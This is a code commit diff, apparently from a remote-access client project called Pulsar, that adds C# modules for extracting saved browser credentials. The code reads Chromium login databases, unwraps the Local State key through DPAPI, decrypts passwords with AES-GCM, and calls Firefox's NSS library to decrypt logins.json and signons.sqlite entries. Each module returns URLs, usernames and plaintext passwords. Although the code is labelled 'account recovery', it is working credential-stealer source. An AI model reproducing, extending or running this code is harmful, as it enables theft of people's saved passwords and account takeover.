initial commit
This commit is contained in:
@@ -0,0 +1,94 @@
|
||||
using Pulsar.Client.Recovery.Utilities;
|
||||
using Pulsar.Common.Models;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides basic account recovery capabilities from chromium-based applications.
|
||||
/// </summary>
|
||||
public class ChromiumBase
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// Reads the stored accounts of an chromium-based application.
|
||||
/// </summary>
|
||||
/// <param name="filePath">The file path of the logins database.</param>
|
||||
/// <param name="localStatePath">The file path to the local state.</param>
|
||||
/// <returns>A list of recovered accounts.</returns>
|
||||
public static List<RecoveredAccount> ReadAccounts(string filePath, string localStatePath, string appName)
|
||||
{
|
||||
var result = new List<RecoveredAccount>();
|
||||
|
||||
if (appName == "Local")
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
Debug.WriteLine(filePath);
|
||||
Debug.WriteLine(localStatePath);
|
||||
Debug.WriteLine(appName);
|
||||
|
||||
if (File.Exists(filePath))
|
||||
{
|
||||
SQLiteHandler sqlDatabase;
|
||||
|
||||
if (!File.Exists(filePath))
|
||||
return result;
|
||||
|
||||
var decryptor = new ChromiumDecryptor(localStatePath);
|
||||
|
||||
try
|
||||
{
|
||||
sqlDatabase = new SQLiteHandler(filePath);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
if (!sqlDatabase.ReadTable("logins"))
|
||||
return result;
|
||||
|
||||
for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
var host = sqlDatabase.GetValue(i, "origin_url");
|
||||
//Debug.WriteLine(host);
|
||||
var user = sqlDatabase.GetValue(i, "username_value");
|
||||
//Debug.WriteLine(user);
|
||||
var value = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value"));
|
||||
//Debug.WriteLine(value);
|
||||
|
||||
if (string.IsNullOrEmpty(host) || string.IsNullOrEmpty(user) || string.IsNullOrEmpty(value))
|
||||
continue;
|
||||
|
||||
result.Add(new RecoveredAccount
|
||||
{
|
||||
Url = host,
|
||||
Username = user,
|
||||
Password = value,
|
||||
Application = appName
|
||||
});
|
||||
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new FileNotFoundException("Can not find chromium logins file");
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
using Pulsar.Client.Recovery.Utilities;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to decrypt Chromium credentials.
|
||||
/// </summary>
|
||||
public class ChromiumDecryptor
|
||||
{
|
||||
private readonly byte[] _key;
|
||||
|
||||
public ChromiumDecryptor(string localStatePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (localStatePath.Contains("AppData\\Local\\Application Data\\User Data"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (File.Exists(localStatePath))
|
||||
{
|
||||
string localState = File.ReadAllText(localStatePath);
|
||||
|
||||
var startIndex = localState.IndexOf("\"encrypted_key\"") + "\"encrypted_key\"".Length + 2;
|
||||
var endIndex = localState.IndexOf('"', startIndex + 1);
|
||||
var encKeyStr = localState.Substring(startIndex, endIndex - startIndex);
|
||||
|
||||
try
|
||||
{
|
||||
_key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null,
|
||||
DataProtectionScope.CurrentUser);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(localStatePath);
|
||||
Debug.WriteLine(e);
|
||||
Debug.WriteLine("Failed to decrypt the key. Ensure you have the correct local state file.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
|
||||
public string Decrypt(string cipherText)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrEmpty(cipherText))
|
||||
return "";
|
||||
|
||||
var cipherTextBytes = Encoding.Default.GetBytes(cipherText);
|
||||
|
||||
var initialisationVector = cipherTextBytes.Skip(3).Take(12).ToArray();
|
||||
var encryptedData = cipherTextBytes.Skip(15).ToArray();
|
||||
|
||||
// Separate the actual encrypted data from the auth tag
|
||||
var actualEncryptedData = encryptedData.Take(encryptedData.Length - 16).ToArray();
|
||||
var authTag = encryptedData.Skip(encryptedData.Length - 16).ToArray();
|
||||
|
||||
var decryptedPassword = DecryptAesGcm(actualEncryptedData, _key, initialisationVector, authTag);
|
||||
|
||||
if (decryptedPassword == null || decryptedPassword.Length == 0)
|
||||
return "";
|
||||
|
||||
return Encoding.UTF8.GetString(decryptedPassword);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] DecryptAesGcm(byte[] encryptedPassword, byte[] key, byte[] nonce, byte[] authTag)
|
||||
{
|
||||
const int KEY_BIT_SIZE = 256;
|
||||
|
||||
if (key == null || key.Length != KEY_BIT_SIZE / 8)
|
||||
{
|
||||
Debug.WriteLine("Key is null or invalid length!");
|
||||
return null;
|
||||
}
|
||||
if (encryptedPassword == null || encryptedPassword.Length == 0)
|
||||
{
|
||||
Debug.WriteLine("Encrypted password is empty!");
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
AesGcmBetter AES = new AesGcmBetter();
|
||||
var output = new byte[0];
|
||||
|
||||
try
|
||||
{
|
||||
output = AES.Decrypt(key, nonce, null, encryptedPassword, authTag);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
return null;
|
||||
}
|
||||
return output;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
using Pulsar.Client.Utilities;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to decrypt Firefox credentials.
|
||||
/// </summary>
|
||||
public class FFDecryptor : IDisposable
|
||||
{
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate long NssInit(string configDirectory);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate long NssShutdown();
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx);
|
||||
|
||||
private NssInit NSS_Init;
|
||||
|
||||
private NssShutdown NSS_Shutdown;
|
||||
|
||||
private Pk11sdrDecrypt PK11SDR_Decrypt;
|
||||
|
||||
private IntPtr NSS3;
|
||||
private IntPtr Mozglue;
|
||||
|
||||
public long Init(string configDirectory)
|
||||
{
|
||||
string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\");
|
||||
Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll"));
|
||||
NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll"));
|
||||
IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init");
|
||||
IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown");
|
||||
IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt");
|
||||
NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit));
|
||||
PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt));
|
||||
NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown));
|
||||
return NSS_Init(configDirectory);
|
||||
}
|
||||
|
||||
public string Decrypt(string cypherText)
|
||||
{
|
||||
IntPtr ffDataUnmanagedPointer = IntPtr.Zero;
|
||||
StringBuilder sb = new StringBuilder(cypherText);
|
||||
|
||||
try
|
||||
{
|
||||
byte[] ffData = Convert.FromBase64String(cypherText);
|
||||
|
||||
ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);
|
||||
Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);
|
||||
|
||||
TSECItem tSecDec = new TSECItem();
|
||||
TSECItem item = new TSECItem();
|
||||
item.SECItemType = 0;
|
||||
item.SECItemData = ffDataUnmanagedPointer;
|
||||
item.SECItemLen = ffData.Length;
|
||||
|
||||
if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
|
||||
{
|
||||
if (tSecDec.SECItemLen != 0)
|
||||
{
|
||||
byte[] bvRet = new byte[tSecDec.SECItemLen];
|
||||
Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);
|
||||
return Encoding.ASCII.GetString(bvRet);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (ffDataUnmanagedPointer != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(ffDataUnmanagedPointer);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TSECItem
|
||||
{
|
||||
public int SECItemType;
|
||||
public IntPtr SECItemData;
|
||||
public int SECItemLen;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this class.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
NSS_Shutdown();
|
||||
NativeMethods.FreeLibrary(NSS3);
|
||||
NativeMethods.FreeLibrary(Mozglue);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.Recovery.Utilities;
|
||||
using Pulsar.Common.Models;
|
||||
using SharpDX.Direct3D11;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
public class FirefoxPassReader
|
||||
{
|
||||
|
||||
/// <inheritdoc />
|
||||
public static List<RecoveredAccount> ReadAccounts(string profiles, string name)
|
||||
{
|
||||
string[] dirs = Directory.GetDirectories(profiles);
|
||||
|
||||
var logins = new List<RecoveredAccount>();
|
||||
if (dirs.Length == 0)
|
||||
return logins;
|
||||
|
||||
foreach (string dir in dirs)
|
||||
{
|
||||
string signonsFile = string.Empty;
|
||||
string loginsFile = string.Empty;
|
||||
bool signonsFound = false;
|
||||
bool loginsFound = false;
|
||||
|
||||
string[] files = Directory.GetFiles(dir, "signons.sqlite");
|
||||
if (files.Length > 0)
|
||||
{
|
||||
signonsFile = files[0];
|
||||
signonsFound = true;
|
||||
}
|
||||
|
||||
files = Directory.GetFiles(dir, "logins.json");
|
||||
if (files.Length > 0)
|
||||
{
|
||||
loginsFile = files[0];
|
||||
loginsFound = true;
|
||||
}
|
||||
|
||||
if (loginsFound || signonsFound)
|
||||
{
|
||||
using (var decrypter = new FFDecryptor())
|
||||
{
|
||||
var r = decrypter.Init(dir);
|
||||
if (signonsFound)
|
||||
{
|
||||
SQLiteHandler sqlDatabase;
|
||||
|
||||
if (!File.Exists(signonsFile))
|
||||
return logins;
|
||||
|
||||
try
|
||||
{
|
||||
sqlDatabase = new SQLiteHandler(signonsFile);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return logins;
|
||||
}
|
||||
|
||||
|
||||
if (!sqlDatabase.ReadTable("moz_logins"))
|
||||
return logins;
|
||||
|
||||
for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
var host = sqlDatabase.GetValue(i, "hostname");
|
||||
var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername"));
|
||||
var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword"));
|
||||
|
||||
if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user))
|
||||
{
|
||||
logins.Add(new RecoveredAccount
|
||||
{
|
||||
Url = host,
|
||||
Username = user,
|
||||
Password = pass,
|
||||
Application = name
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// ignore invalid entry
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (loginsFound)
|
||||
{
|
||||
FFLogins ffLoginData;
|
||||
using (var sr = File.OpenRead(loginsFile))
|
||||
{
|
||||
ffLoginData = JsonHelper.Deserialize<FFLogins>(sr);
|
||||
}
|
||||
|
||||
foreach (Login loginData in ffLoginData.Logins)
|
||||
{
|
||||
string username = decrypter.Decrypt(loginData.EncryptedUsername);
|
||||
string password = decrypter.Decrypt(loginData.EncryptedPassword);
|
||||
logins.Add(new RecoveredAccount
|
||||
{
|
||||
Username = username,
|
||||
Password = password,
|
||||
Url = loginData.Hostname.ToString(),
|
||||
Application = name
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return logins;
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
private class FFLogins
|
||||
{
|
||||
[DataMember(Name = "nextId")]
|
||||
public long NextId { get; set; }
|
||||
|
||||
[DataMember(Name = "logins")]
|
||||
public Login[] Logins { get; set; }
|
||||
|
||||
[IgnoreDataMember]
|
||||
[DataMember(Name = "potentiallyVulnerablePasswords")]
|
||||
public object[] PotentiallyVulnerablePasswords { get; set; }
|
||||
|
||||
[IgnoreDataMember]
|
||||
[DataMember(Name = "dismissedBreachAlertsByLoginGUID")]
|
||||
public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; }
|
||||
|
||||
[DataMember(Name = "version")]
|
||||
public long Version { get; set; }
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
private class DismissedBreachAlertsByLoginGuid
|
||||
{
|
||||
}
|
||||
|
||||
[DataContract]
|
||||
private class Login
|
||||
{
|
||||
[DataMember(Name = "id")]
|
||||
public long Id { get; set; }
|
||||
|
||||
[DataMember(Name = "hostname")]
|
||||
public Uri Hostname { get; set; }
|
||||
|
||||
[DataMember(Name = "httpRealm")]
|
||||
public object HttpRealm { get; set; }
|
||||
|
||||
[DataMember(Name = "formSubmitURL")]
|
||||
public Uri FormSubmitUrl { get; set; }
|
||||
|
||||
[DataMember(Name = "usernameField")]
|
||||
public string UsernameField { get; set; }
|
||||
|
||||
[DataMember(Name = "passwordField")]
|
||||
public string PasswordField { get; set; }
|
||||
|
||||
[DataMember(Name = "encryptedUsername")]
|
||||
public string EncryptedUsername { get; set; }
|
||||
|
||||
[DataMember(Name = "encryptedPassword")]
|
||||
public string EncryptedPassword { get; set; }
|
||||
|
||||
[DataMember(Name = "guid")]
|
||||
public string Guid { get; set; }
|
||||
|
||||
[DataMember(Name = "encType")]
|
||||
public long EncType { get; set; }
|
||||
|
||||
[DataMember(Name = "timeCreated")]
|
||||
public long TimeCreated { get; set; }
|
||||
|
||||
[DataMember(Name = "timeLastUsed")]
|
||||
public long TimeLastUsed { get; set; }
|
||||
|
||||
[DataMember(Name = "timePasswordChanged")]
|
||||
public long TimePasswordChanged { get; set; }
|
||||
|
||||
[DataMember(Name = "timesUsed")]
|
||||
public long TimesUsed { get; set; }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Browsers
|
||||
{
|
||||
public struct AllBrowsers
|
||||
{
|
||||
public BrowserChromium[] Chromium;
|
||||
public BrowserGecko[] Gecko;
|
||||
}
|
||||
public struct BrowserChromium
|
||||
{
|
||||
public string Name;
|
||||
public string Path;
|
||||
public string LocalState;
|
||||
public ProfileChromium[] Profiles;
|
||||
}
|
||||
|
||||
public struct ProfileChromium
|
||||
{
|
||||
public string Name;
|
||||
public string LoginData;
|
||||
public string Path;
|
||||
}
|
||||
|
||||
public struct BrowserGecko
|
||||
{
|
||||
public string Name;
|
||||
public string Path;
|
||||
public string Key4;
|
||||
public string Logins;
|
||||
public string ProfilesDir;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user